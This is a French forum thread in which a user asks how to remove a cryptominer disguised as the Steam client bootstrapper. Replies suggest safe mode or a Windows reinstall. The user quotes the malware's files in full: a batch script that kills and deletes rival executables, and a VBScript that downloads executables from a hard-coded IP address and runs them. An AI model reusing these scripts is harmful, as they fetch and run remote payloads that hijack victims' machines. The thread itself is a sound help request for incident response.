Comment tuer définitivement le bootstrapper du client steam

J'ai la situation suivante dans mon gestionnaire de tâches:

Je ne sais pas de quel type d’application il s’agit, mais ce n’est certainement pas le programme d’amorçage du client Steam car je ne l’ai pas installé et je ne peux pas non plus le désinstaller.

Si j'essaie de comprendre le type d'application via cette étape:

Je vois quelque chose comme ça:

Dans l'utilitaire MS Config, je n'ai rien trouvé qui ressemble secury.exe.

Lorsque j'ouvre l'emplacement du fichier, je vois trois fichiers:

m.bat, b.exe, 4.vbs.

Ci-dessous, le contenu de m.bat:

taskkill /f /t /im secury.exe
c:\ProgramData\secury.exe
taskkill /f /t /im kingsoft.exe
taskkill /f /t /im expl0rer.exe
taskkill /f /t /im ieplare.exev
taskkill /f /t /im nssm.exe
taskkill /f /t /im MSASCui.exe
taskkill /f /t /im SystemSettlngs.exe
taskkill /f /t /im SystemSetting.exe
taskkill /f /t /im Process.exe
taskkill /f /t /im winlnlt.exe
taskkill /f /t /im WindowsUpgrade.exe
taskkill /f /t /im msdc.exe
taskkill /f /t /im Fiddlere.exe
taskkill /f /t /im shovst.exe
taskkill /f /t /im lqrtqe.exe
taskkill /f /t /im apkls.exe
taskkill /f /t /im winlog.exe
taskkill /f /t /im svchosts.exe
taskkill /f /t /im win1ogins.exe
taskkill /f /t /im shovsts.exe
taskkill /f /t /im fcty.exe
taskkill /f /t /im soiuos.exe
taskkill /f /t /im TrustedInstaller.exe
del C:\Windows\System32\soiuos.exe
del C:\Windows\Setup\TrustedInstaller.exe
del C:\ProgramData\kingsoft.exe
del C:\ProgramData\expl0rer.exe
del C:\ProgramData\ieplare.exe
del C:\ProgramData\nssm.exe
del C:\ProgramData\MSASCui.exe
del C:\ProgramData\SystemSettlngs.exe
del C:\ProgramData\SystemSetting.exe
del C:\ProgramData\Process.exe
del C:\ProgramData\winlnlt.exe
del C:\ProgramData\WindowsUpgrade.exe
del C:\ProgramData\msdc.exe
del C:\ProgramData\Fiddlere.exe
del C:\ProgramData\shovst.exe
del C:\ProgramData\lqrtqe.exe
del C:\ProgramData\apkls.exe
del C:\ProgramData\winlog.exe
del C:\ProgramData\svchosts.exe
del C:\ProgramData\win1ogins.exe
del C:\ProgramData\shovsts.exe
del C:\ProgramData\fcty.exe
del C:\ProgramData\pool.exe
del C:\ProgramData\pool2.exe
del C:\ProgramData\pool3.exe

Ensuite va 4.vbs:

Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://223.68.209.7:65510/2.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\ProgramData\s2.exe",2
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://223.68.209.7:65510/pool.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\ProgramData\pool2.exe",2
CreateObject("WScript.Shell").Run "C:\ProgramData\pool3.exe"
CreateObject("WScript.Shell").Run "del C:\ProgramData\pool3.exe"

Que puis-je faire pour ne pas secury.exeabuser des capacités de calcul de mon serveur?

Post-scriptum J'ai exécuté Avast vérification complète de mon ordinateur, mais il n'a rien trouvé de mal.

windows virus-removal avg-antivirus

— Yuriy Zaletskyy
source

Cela ... a l'air terriblement méfiant (le contenu de ces fichiers de commandes et de VBS). Y a-t-il une chance que vous passiez en mode sans échec (et j'espère que cela ne fonctionne pas) et que vous pourrez ensuite essayer de les supprimer? Si le mode sans échec n'est pas une option - démarrez à partir d'un lecteur externe (ou de Linux LiveUSB / LiveCD) et avec le disque dur accessible - supprimez ces fichiers?

— Darius

À ce stade, vous devez supposer que votre ordinateur a été complètement compromis. Vous pouvez exécuter un certain nombre de vérificateurs de virus et prier qu'ils fonctionnent, mais je vous recommande de sauvegarder tout ce qui est important, puis de formater et de réinstaller Windows.

— Richard

J'ai supprimé ces fichiers plusieurs fois, mais cela n'a pas fonctionné

— Yuriy Zaletskyy

Je veux partager une solution de contournement que j'ai trouvée pour mon problème.

En tant que programmeur, j'ai créé un programme qui surveille constamment le dossier à la c:\ProgramData\recherche de nouveaux fichiers. Et si certains des fichiers appartenant à "steam client bootstrappper" apparaissent à l'intérieur de ce dossier, mon programme les supprime avant qu'ils ne soient exécutés. Si quelqu'un a besoin de modifier cet utilitaire, vous pouvez le trouver sur GitHub .

Après avoir exécuté cet antivirus primitif (en réalité antiPUP), mon système ne ralentissait plus. Un autre détail nécessaire au fonctionnement de ce programme est la nécessité de créer un dossier c:\ProgramData\copyForVirus\. J'ai créé le programme pour créer une copie de ces fichiers de virus afin de les analyser ultérieurement dans un environnement VMware supplémentaire afin de déterminer les composants internes de ces fichiers.

— Yuriy Zaletskyy
source